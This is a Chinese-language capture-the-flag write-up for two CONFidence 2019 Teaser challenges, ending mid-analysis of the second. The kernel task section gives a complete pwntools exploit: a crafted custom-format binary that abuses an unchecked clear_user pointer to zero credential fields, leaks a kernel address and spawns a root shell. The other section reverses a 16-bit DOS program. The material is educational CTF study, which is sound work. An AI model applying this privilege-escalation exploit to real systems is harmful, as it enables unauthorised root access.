Teaser CONFidence CTF 2019 p4fmt&&oldschool

周末p4主办的比赛,主要分析一下其中的一道Kernel PWN和一道逆向

p4fmt

Analyze

拿到题目,解压后一共三个文件:

1
2
3
bzImage#内核映像
initramfs.cpio.gz#文件系统
run.sh#qemu启动脚本

qemu启动脚本启动后看到:

1
2
3
4
5
6
7
8
9
10
11
12
====================
p4fmt
====================

Kernel challs are always a bit painful.
No internet access, no SSH, no file copying.

You're stuck with copy pasting base64'd (sometimes static) ELFs.
But what if there was another solution?

We've created a lightweight, simple binary format for your
pwning pleasure. It's time to prove your skills.

根据信息,是一道kernel pwn,flag在根目录,但是只有root可读,需要我们提升权限
且内部定义了一种可执行文件格式
查看文件系统的init脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
insmod /p4fmt.ko

sleep 2

ln -s /dev/console /dev/ttyS0

cat <<EOF
====================
p4fmt
====================

Kernel challs are always a bit painful.
No internet access, no SSH, no file copying.

You're stuck with copy pasting base64'd (sometimes static) ELFs.
But what if there was another solution?

We've created a lightweight, simple binary format for your
pwning pleasure. It's time to prove your skills.

EOF

setsid cttyhack su pwn
poweroff -f

注意两个地方:

1
2
insmod  /p4fmt.ko   加载了p4fmt模块
setsid cttyhack su pwn 以pwn用户启动

首先提取p4fmt模块binary:

1
2
gunzip ./initramfs.cpio.gz
cpio -idmv < initramfs.cpio

拿到文件后,ida分析
看到其定义的p4fmt可执行文件格式以及载入过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
__int64 __fastcall load_p4_binary(__int64 a1)
{
signed __int64 v1; // rcx
_BYTE *v2; // rsi
__int64 v3; // r12
__int64 v4; // rbx
_BYTE *v5; // rdi
unsigned __int64 v6; // r14
bool v7; // cf
bool v8; // zf
__int64 v9; // r13
unsigned int v10; // ebp
char v12; // al
signed __int64 v13; // r12
signed __int64 v14; // rsi
unsigned __int64 v15; // rax
map_info *v16; // r12
__int64 v17; // ST00_8
signed __int64 v18; // r14
unsigned __int64 v19; // r15
__int64 v20; // r9
__int64 v21; // rdx
__int64 v22; // rcx
__int64 v23; // r8

v1 = 2LL;
v2 = &fmt_header;
v3 = a1 + 0x48;
v4 = a1;
v5 = (_BYTE *)(a1 + 0x48);
v6 = __readgsqword((unsigned __int64)&current_task);
v7 = 0;
v8 = 0;
v9 = *(_QWORD *)(v6 + 0x2A0);
do // cmp headers
{
if ( !v1 )
break;
v7 = *v2 < *v5;
v8 = *v2++ == *v5++;
--v1;
}
while ( v8 );
if ( (!v7 && !v8) != v7 )
return (unsigned int)-8;
JUMPOUT(*(_BYTE *)(v4 + 0x4A), 0, load_p4_binary_cold_2);// cmp \x00->version
if ( *(_BYTE *)(v4 + 0x4B) > 1u )
return (unsigned int)-22;
v10 = flush_old_exec(v4, v2); // clear the environment
if ( !v10 )
{
*(_DWORD *)(v6 + 0x80) = 0x800000;
setup_new_exec(v4);
v12 = *(_BYTE *)(v4 + 0x4B);
if ( v12 ) // type=1
{
if ( v12 != 1 )
return (unsigned int)-22;
if ( *(_DWORD *)(v4 + 0x4C) ) // map_time
{
v16 = (map_info *)(*(_QWORD *)(v4 + 0x50) + v3);// map_info_offset
do
{
v17 = v16->load_addr;
v18 = v16->load_addr & 7;
v19 = v16->load_addr & 0xFFFFFFFFFFFFF000LL;
printk(
"vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n",
v19,
v16->length,
v16->offset,
v18);
v20 = v16->offset;
v21 = v16->length;
if ( v17 & 8 )
{
vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
_clear_user(v16->load_addr, v16->length);
}
else
{
vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
}
++v10;
++v16;
}
while ( *(_DWORD *)(v4 + 0x4C) > v10 );
}
}
else //type=0
{
v13 = -12LL;
if ( (unsigned __int64)vm_mmap(
*(_QWORD *)(v4 + 8),
*(_QWORD *)(v4 + 80),
4096LL,
*(_QWORD *)(v4 + 80) & 7LL,
2LL,
0LL) > 0xFFFFFFFFFFFFF000LL )
{
LABEL_12:
install_exec_creds(v4);
set_binfmt(&p4format);
v14 = 0x7FFFFFFFF000LL;
v15 = __readgsqword((unsigned __int64)&current_task);
if ( *(_QWORD *)v15 & 0x20000000 )
{
v14 = 0xC0000000LL;
if ( !(*(_BYTE *)(v15 + 131) & 8) )
v14 = 0xFFFFE000LL;
}
v10 = setup_arg_pages(v4, v14, 0LL);
if ( !v10 )
{
finalize_exec(v4);
start_thread(
v9 + 16216,
v13,
*(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x100) + 0x28LL));
}
return v10;
}
}
v13 = *(_QWORD *)(v4 + 88);
goto LABEL_12;
}
return v10;
}

可以看到:
首先检验文件头是否为”P4”以及version是否为0
而后调用一次flush_old_exec清理空间
而后通过version后一字节判断type来确定加载方式
注意到第一种加载方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
if ( v12 )                                  // type=1
{
if ( v12 != 1 )
return (unsigned int)-22;
if ( *(_DWORD *)(v4 + 0x4C) ) // map_time
{
v16 = (map_info *)(*(_QWORD *)(v4 + 0x50) + v3);// map_info_offset
do
{
v17 = v16->load_addr;
v18 = v16->load_addr & 7;
v19 = v16->load_addr & 0xFFFFFFFFFFFFF000LL;
printk(
"vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n",
v19,
v16->length,
v16->offset,
v18);
v20 = v16->offset;
v21 = v16->length;
if ( v17 & 8 )
{
vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
_clear_user(v16->load_addr, v16->length);
}
else
{
vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
}
++v10;
++v16;
}
while ( *(_DWORD *)(v4 + 0x4C) > v10 );
}
}

首先会通过type后一字节决定操作次数
而后通过一个map_info结构体来调用vm_mmap和clear_user
其中会把调用参数通过printk输出
map_info:

1
2
3
4
5
00000000 map_info        struc ; (sizeof=0x18, mappedto_3)
00000000 load_addr dq ?
00000008 length dq ?
00000010 offset dq ?
00000018 map_info ends

同时可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
LABEL_12:
install_exec_creds(v4);
set_binfmt(&p4format);
v14 = 0x7FFFFFFFF000LL;
v15 = __readgsqword((unsigned __int64)&current_task);
if ( *(_QWORD *)v15 & 0x20000000 )
{
v14 = 0xC0000000LL;
if ( !(*(_BYTE *)(v15 + 131) & 8) )
v14 = 0xFFFFE000LL;
}
v10 = setup_arg_pages(v4, v14, 0LL);
if ( !v10 )
{
finalize_exec(v4);
start_thread(
v9 + 16216,
v13,
*(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x100) + 0x28LL));
}
return v10;
}
}
v13 = *(_QWORD *)(v4 + 0x58);
goto LABEL_12;

程序会以文件偏移0x58-0x48=0x10处的值作为程序入口点
而后执行: install_exec_creds:

1
2
3
4
5
6
7
8
9
10
11
12
13
void install_exec_creds(struct linux_binprm *bprm)
{
security_bprm_committing_creds(bprm);

commit_creds(bprm->cred);
bprm->cred = NULL;

if (get_dumpable(current->mm) != SUID_DUMP_USER)
perf_event_exit_task(current);

security_bprm_committed_creds(bprm);
mutex_unlock(&current->signal->cred_guard_mutex);
}

所以可执行文件整体格式:

1
2
3
4
5
6
7
"P4\x00"
(char)type
(int)map_info_num
(long)map_info_offset
(long)entry
((map_info struct)map_info)*map_info_num
the_code_will_exec

因此我们需要想办法使我们的最后code运行在root身份下
此时code只需执行shell或者直接读取/flag操作即可
注意到加载过程中根据map_info程序会有clear_user操作:

1
2
3
4
5
6
if ( v17 & 8 )
{
vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
_clear_user(v16->load_addr, v16->length);
}

但是程序并没有检测此处指针
根据前面的 install_exec_creds,程序会根据commit_creds(bprm->cred)来设置线程权限
因此我们可以传入clear_user一个指针指向此cred结构体特定位置来覆盖uid和gid来提升线程权限,而后commit_creds(bprm->cred)即会根据我们覆盖后的fake_cred来设置线程权限执行我们的code

关于linux_binprm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
struct linux_binprm {
char buf[BINPRM_BUF_SIZE];
#ifdef CONFIG_MMU
struct vm_area_struct *vma;
unsigned long vma_pages;
#else
# define MAX_ARG_PAGES 32
struct page *page[MAX_ARG_PAGES];
#endif
struct mm_struct *mm;
unsigned long p; /* current top of mem */
unsigned long argmin; /* rlimit marker for copy_strings() */
unsigned int
/*
* True after the bprm_set_creds hook has been called once
* (multiple calls can be made via prepare_binprm() for
* binfmt_script/misc).
*/
called_set_creds:1,
/*
* True if most recent call to the commoncaps bprm_set_creds
* hook (due to multiple prepare_binprm() calls from the
* binfmt_script/misc handlers) resulted in elevated
* privileges.
*/
cap_elevated:1,
/*
* Set by bprm_set_creds hook to indicate a privilege-gaining
* exec has happened. Used to sanitize execution environment
* and to set AT_SECURE auxv for glibc.
*/
secureexec:1;
#ifdef __alpha__
unsigned int taso:1;
#endif
unsigned int recursion_depth; /* only for search_binary_handler() */
struct file * file;
struct cred *cred; /* new credentials */
int unsafe; /* how unsafe this exec is (mask of LSM_UNSAFE_*) */
unsigned int per_clear; /* bits to clear in current-&gt;personality */
int argc, envc;
const char * filename; /* Name of binary as seen by procps */
const char * interp; /* Name of the binary really executed. Most
of the time same as filename, but could be
different for binfmt_{misc,script} */
unsigned interp_flags;
unsigned interp_data;
unsigned long loader, exec;
struct rlimit rlim_stack; /* Saved RLIMIT_STACK used during exec. */
} __randomize_layout;

关于cred:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

cred是每个线程记录本线程权限的结构体
当我们将uid和gid覆盖为0即可使此线程获得root权限
(root运行下uid和gid皆为0)

Debug

关于调试和leak cred
首先为了便于调试,将身份改为root,修改init脚本并重新打包文件系统:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
insmod /p4fmt.ko

sleep 2

ln -s /dev/console /dev/ttyS0

cat <<EOF
====================
p4fmt
====================

Kernel challs are always a bit painful.
No internet access, no SSH, no file copying.

You're stuck with copy pasting base64'd (sometimes static) ELFs.
But what if there was another solution?

We've created a lightweight, simple binary format for your
pwning pleasure. It's time to prove your skills.

EOF

setsid cttyhack su root
poweroff -f

而后重新打包文件系统:

1
find . | cpio -o -H  newc |gzip -9 > ../kirin.cpio.gz

而后从bzImage提取vmlinux便于调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/bin/sh
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1

cat $1
exit 0
}

try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.

# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}

# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

运行:

1
kirin.sh  ./bzImage  > ./vmlinux

最后更改qemu启动脚本以便调试内核:

1
2
3
4
5
6
7
#!/bin/bash
qemu-system-x86_64 -s -kernel ./bzImage \
-initrd ./kirin.cpio.gz \
-nographic \
-append "console=ttyS0 nokaslr" \
#-s:1234端口调试内核
#nokaslr关闭内核地址随机,便于调试

运行gdb连接即可:

1
2
3
4
5
6
7
8
9
/ # whoami
root
/ # cat /proc/modules
p4fmt 16384 0 - Live 0xffffffffc0000000 (O)
qemu虚拟机下看到p4fmt模块的加载地址
连接gdb并加载符号表:
gdb ./vmlinux
target remote 127.0.0.1:1234
add-symbol-file ./p4fmt.ko 0xffffffffc0000000

关于leak:
在load_p4_binary调用install_exec_creds时下断点

1
b *0xffffffffc00000af

而后随意写一个满足上面格式的程序运行,gdb断在install_exec_creds以便查看cred相对bprm的偏移
实际上可以直接查看汇编:

1
2
3
4
5
6
7
8
9
10
11
12
x/10i 0xffffffffc00000af
pwndbg> x/10i 0xffffffffc00000af
0xffffffffc00000af <load_p4_binary+175>: call 0xffffffff81189ec0
0xffffffffc00000b4 <load_p4_binary+180>: mov rdi,0xffffffffc0002000
0xffffffffc00000bb <load_p4_binary+187>: call 0xffffffff8118a130
0xffffffffc00000c0 <load_p4_binary+192>: movabs rsi,0x7ffffffff000
0xffffffffc00000ca <load_p4_binary+202>: mov rax,QWORD PTR gs:0x14d40
0xffffffffc00000d3 <load_p4_binary+211>: mov rdx,QWORD PTR [rax]
0xffffffffc00000d6 <load_p4_binary+214>: test edx,0x20000000
0xffffffffc00000dc <load_p4_binary+220>: je 0xffffffffc00000f3 <load_p4_binary+243>
0xffffffffc00000de <load_p4_binary+222>: test BYTE PTR [rax+0x83],0x8
0xffffffffc00000e5 <load_p4_binary+229>: mov esi,0xc0000000

跟进0xffffffff81189ec0:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/10i 0xffffffff81189ec0
=> 0xffffffff81189ec0: push rbx
0xffffffff81189ec1: mov rbx,rdi
0xffffffff81189ec4: call 0xffffffff81297aa0
0xffffffff81189ec9: mov rdi,QWORD PTR [rbx+0xe0]
0xffffffff81189ed0: call 0xffffffff81073d30
0xffffffff81189ed5: mov QWORD PTR [rbx+0xe0],0x0
0xffffffff81189ee0: mov rdi,QWORD PTR gs:0x14d40
0xffffffff81189ee9: mov rax,QWORD PTR [rdi+0x100]
0xffffffff81189ef0: mov rax,QWORD PTR [rax+0x148]
0xffffffff81189ef7: and eax,0x3

可以看到偏移位置为0xe0
随意运行一个调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> x/30xg 0xffff8880077b2400
0xffff8880077b2400: 0xffff888007530020 0xffff8880077d7280
0xffff8880077b2410: 0x0000000000000000 0xffff888007530020
0xffff8880077b2420: 0x0000000000000000 0x00007fffffdff030
0xffff8880077b2430: 0x0000000000000000 0x0000000000000000
0xffff8880077b2440: 0x0000000600000000 0x0000000101003450
0xffff8880077b2450: 0x0000000000000090 0xffffffff89262008
0xffff8880077b2460: 0x0000000000002000 0x0000000000000000
0xffff8880077b2470: 0x6262626262626262 0x6161616161616161
0xffff8880077b2480: 0x6161616161616161 0x6161616161616161
0xffff8880077b2490: 0x6161616161616161 0x6161616161616161
0xffff8880077b24a0: 0x6161616161616161 0x6161616161616161
0xffff8880077b24b0: 0x6161616161616161 0x6161616161616161
0xffff8880077b24c0: 0x6161616161616161 0x00007fffffffefae
0xffff8880077b24d0: 0x0000000100000001 0x0000000000000000
0xffff8880077b24e0: 0xffff88800756c3c0 0x0000000000000000
pwndbg> x/20xg 0xffff88800756c3c0
0xffff88800756c3c0: 0x0000000000000000 0xffff88800770f440
0xffff88800756c3d0: 0x0000003fffffffff 0x0000000000000000
0xffff88800756c3e0: 0x0000000000000000 0x0000000000000000
0xffff88800756c3f0: 0xffffffff00000000 0x000000000000003f
0xffff88800756c400: 0x0000003fffffffff 0x0000000000000000
0xffff88800756c410: 0x0000000000000000 0x0000000000000000
0xffff88800756c420: 0x0000000000000000 0xffffffff81c38280
0xffff88800756c430: 0x0000000000000000 0x0000000000000000
0xffff88800756c440: 0x0000000000000001 0x0000000000000000
0xffff88800756c450: 0x0000000000000000 0x0000000000000000

可以看到偏移0xe0位置为0xffff88800756c3c0
而0xffff88800756c3c0下对应uid和gid位置都为0(debug时是root身份)
同而注意到程序会打印vmmap和clear_user的参数
因此可以将map_info_offset指向这里来vmmap(偏移位置为0xe0,即距离文件头偏移:0xe0-0x48=0x98位置,但是load_addr有位运算操作再传参并输出,因此这里选择设置map_info_offset为0x90,使length为cred_addr并leak),此时即会打印出cred的地址,虽然最后会crash,不过能leak一次cred地址
这里注意,开启内核地址随机化时cred地址线程间并不相同
但是真实环境下可以观察到cred地址会是一组地址的循环,因此可以预估下次程序启动时cred地址从而覆盖掉uid和gid完成提权
leak:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import  *

payload = ""
payload += "P4"
payload += p8(0)# version
payload += p8(1)# type
payload += p32(1)# map_count
payload += p64(0x90)#map_info_offset
payload += p64(0) # entry
payload += "kirin"
print payload.encode("base64")
#output=UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=

1
2
3
echo -n "UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=" | base64 -d > /tmp/kirin
chmod +x /tmp/kirin
/tmp/kirin

可以看到cred地址规律:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/tmp $ ./kirin
[ 310.536033] vm_mmap(load_addr=0x0, length=0xffff90e845d72300, offset=0x0, prot=0)
[ 310.538726] kirin[559]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[ 310.543394] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 311.480867] vm_mmap(load_addr=0x0, length=0xffff90e845d729c0, offset=0x0, prot=0)
[ 311.483814] kirin[560]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[ 311.486224] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 312.793369] vm_mmap(load_addr=0x0, length=0xffff90e845d72cc0, offset=0x0, prot=0)
[ 312.797228] kirin[561]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[ 312.804765] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 314.042323] vm_mmap(load_addr=0x0, length=0xffff90e845d72b40, offset=0x0, prot=0)
[ 314.045054] kirin[562]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[ 314.047779] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 315.349773] vm_mmap(load_addr=0x0, length=0xffff90e845d72840, offset=0x0, prot=0)
[ 315.352563] kirin[563]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[ 315.357168] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 316.229283] vm_mmap(load_addr=0x0, length=0xffff90e845d72300, offset=0x0, prot=0)
[ 316.232561] kirin[564]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[ 316.234984] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 316.954076] vm_mmap(load_addr=0x0, length=0xffff90e845d729c0, offset=0x0, prot=0)
[ 316.957635] kirin[565]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[ 316.960276] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 317.663571] vm_mmap(load_addr=0x0, length=0xffff90e845d72cc0, offset=0x0, prot=0)
[ 317.667293] kirin[566]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[ 317.669847] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 318.516134] vm_mmap(load_addr=0x0, length=0xffff90e845d72b40, offset=0x0, prot=0)
[ 318.518924] kirin[567]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[ 318.522188] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[ 319.341463] vm_mmap(load_addr=0x0, length=0xffff90e845d72840, offset=0x0, prot=0)
[ 319.343774] kirin[568]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[ 319.346129] Code: Bad RIP value.
Segmentation fault
/tmp $

可以看到每五个一个循环(至少在短时间内是这样)
所以我们完全可以leak出一次循环后猜测下次cred位置,而后提权到root拿到flag
但是我在编写exp时遇到了问题
最初想法是leak出五个地址,而后利用循环预测
但是其实一段时间之后,这五个地址会变化,不过也会循环,这样虽然可以把所有可能情况列举生成exp,然后再预测,不过有点太麻烦
所以最终选择leak处一个地址后直接循环此exp,减小中间的时间(我并不确定内核的这种地址循环是时间还是轮数问题),很大地提高了命中率(约为100%)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

#context.log_level="debug"

def get_payload(addr):
payload="P4"
payload+=p8(0)#version
payload+=p8(1)#type
payload+=p32(2)#map_info_num
payload+=p64(0x18)#map_info_offset
payload+=p64(0x400048)#entry
payload+=p64(0x400000|7)#port=7->rwx
payload+=p64(0x1000)#length
payload+=p64(0)#offset
payload+=p64((addr|8)+0x10)#cred
payload+=p64(0x48)#overwrite_length
payload+=p64(0)
payload+=asm(shellcraft.amd64.sh(),arch="amd64")
return payload.encode("base64").strip()
p=process("./run.sh")
p.sendlineafter("/ $ ",'echo -n "UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=" | base64 -d > /tmp/kirin; chmod +x /tmp/kirin')
p.sendlineafter("/ $ ","/tmp/kirin")
p.recvuntil("length=")
addr=int(p.recvuntil(",")[:-1],16)
print hex(addr)
exp=get_payload(addr)
cmd='echo -n "%s" | base64 -d > /tmp/exp; chmod +x /tmp/exp' %exp
p.sendlineafter("/ $ ",cmd)
p.recvuntil("$ ")
for i in range(10):
p.sendline("/tmp/exp")
p.recvuntil("/ ",timeout=1)
ans=p.recv(2)
print ans[0]
if ans[0]=='#':
print "Get Shell Successfully"
break
if i==9:
print "Failed this time,please try again!"
p.interactive()

Oldschool

比较简单的一道题目,16位程序逆向,IDA不支持F5,不过guidra支持反汇编为伪代码,但是看起来不太习惯,还是汇编舒服
首先看到程序整体流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
seg001:0000                 public start
seg001:0000 start proc near
seg001:0000 mov ax, seg seg002
seg001:0003 mov ss, ax
seg001:0005 mov ax, 190h
seg001:0008 mov sp, ax
seg001:000A mov ax, seg seg000
seg001:000D mov ds, ax
seg001:000F assume ds:seg000
seg001:000F mov si, 0
seg001:0012 mov ah, 9
seg001:0014 mov dx, 0A2h
seg001:0017 int 21h ; DOS - PRINT STRING
seg001:0017 ; DS:DX -> string terminated by "$"
seg001:0019 call sub_10148
seg001:001C mov di, si
seg001:001E call sub_10215
seg001:0021 mov al, 45h ; 'E'
seg001:0023 mov [di], al
seg001:0025 mov si, 0
seg001:0028 mov al, 53h ; 'S'
seg001:002A mov [si+50h], al
seg001:002D call sub_10124
seg001:0030
seg001:0030 loc_10120: ; CODE XREF: sub_10148+73↓j
seg001:0030 mov ah, 4Ch
seg001:0032 int 21h ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)
seg001:0032 start endp

首先输出A2偏移处的字符串(以”$”结尾):

1
2
3
4
seg001:0012                 mov     ah, 9
seg001:0014 mov dx, 0A2h
seg001:0017 int 21h
#Give me a flag to draw!\n$

而后调用了三个函数:

1
2
3
4
5
6
7
8
9
seg001:0019                 call    sub_10148
seg001:001C mov di, si
seg001:001E call sub_10215
seg001:0021 mov al, 45h ; 'E'
seg001:0023 mov [di], al
seg001:0025 mov si, 0
seg001:0028 mov al, 53h ; 'S'
seg001:002A mov [si+50h], al
seg001:002D call sub_10124

首先看后面短的两个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
seg001:0034 sub_10124       proc near               ; CODE XREF: start+2D↑p
seg001:0034 mov dl, 0Ah
seg001:0036 mov ah, 2
seg001:0038 int 21h ; DOS - DISPLAY OUTPUT
seg001:0038 ; DL = character to send to standard output
seg001:003A mov cx, 8
seg001:003D mov dx, si
seg001:003F
seg001:003F loc_1012F: ; CODE XREF: sub_10124+13↓j
seg001:003F add si, 11h
seg001:0042 mov al, 0Ah
seg001:0044 mov [si], al
seg001:0046 inc si
seg001:0047 loop loc_1012F
seg001:0049 add si, 11h
seg001:004C mov al, 24h ; '$'
seg001:004E mov [si], al
seg001:0050 mov ah, 9
seg001:0052 int 21h ; DOS - PRINT STRING
seg001:0052 ; DS:DX -> string terminated by "$"
seg001:0054 mov si, 0
seg001:0057 retn
seg001:0057 sub_10124 endp

很显然循环8次,从0开始(从start中看出此函数si起始值为0)每0x12字节写入一个换行符,最后一次写入”$”结束符,而后从dx(=0)位置输出字符串,其实就是对应题目给的flag.txt:

1
2
3
4
5
  4 {4pp   
p {k4{ E
p 44p{ p
4 p
S

所以我们最后需要输出和flag.txt一致即可
再看函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
seg001:0125 sub_10215       proc near               ; CODE XREF: start+1E↑p
seg001:0125 mov si, 0
seg001:0128 mov cx, 0A1h
seg001:012B
seg001:012B loc_1021B: ; CODE XREF: sub_10215+1A↓j
seg001:012B mov al, [si]
seg001:012D cmp al, 0Dh
seg001:012F ja short loc_10232
seg001:0131 push si
seg001:0132 mov si, 0BCh
seg001:0135 xor ah, ah
seg001:0137 add si, ax
seg001:0139 mov bl, [si]
seg001:013B pop si
seg001:013C
seg001:013C loc_1022C: ; CODE XREF: sub_10215+1F↓j
seg001:013C mov [si], bl
seg001:013E inc si
seg001:013F loop loc_1021B
seg001:0141 retn
seg001:0142 ; ---------------------------------------------------------------------------
seg001:0142
seg001:0142 loc_10232: ; CODE XREF: sub_10215+A↑j
seg001:0142 mov bl, 5Eh ; '^'
seg001:0144 jmp short loc_1022C
seg001:0144 sub_10215 endp

作用很明显,从0到0xA1位置,值大于0xD则替换为”^”,否则根据值对应0xBC偏移位置的字符:

1
p4{krule_ctf}#注意最开始有空格

然后最开始调用的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
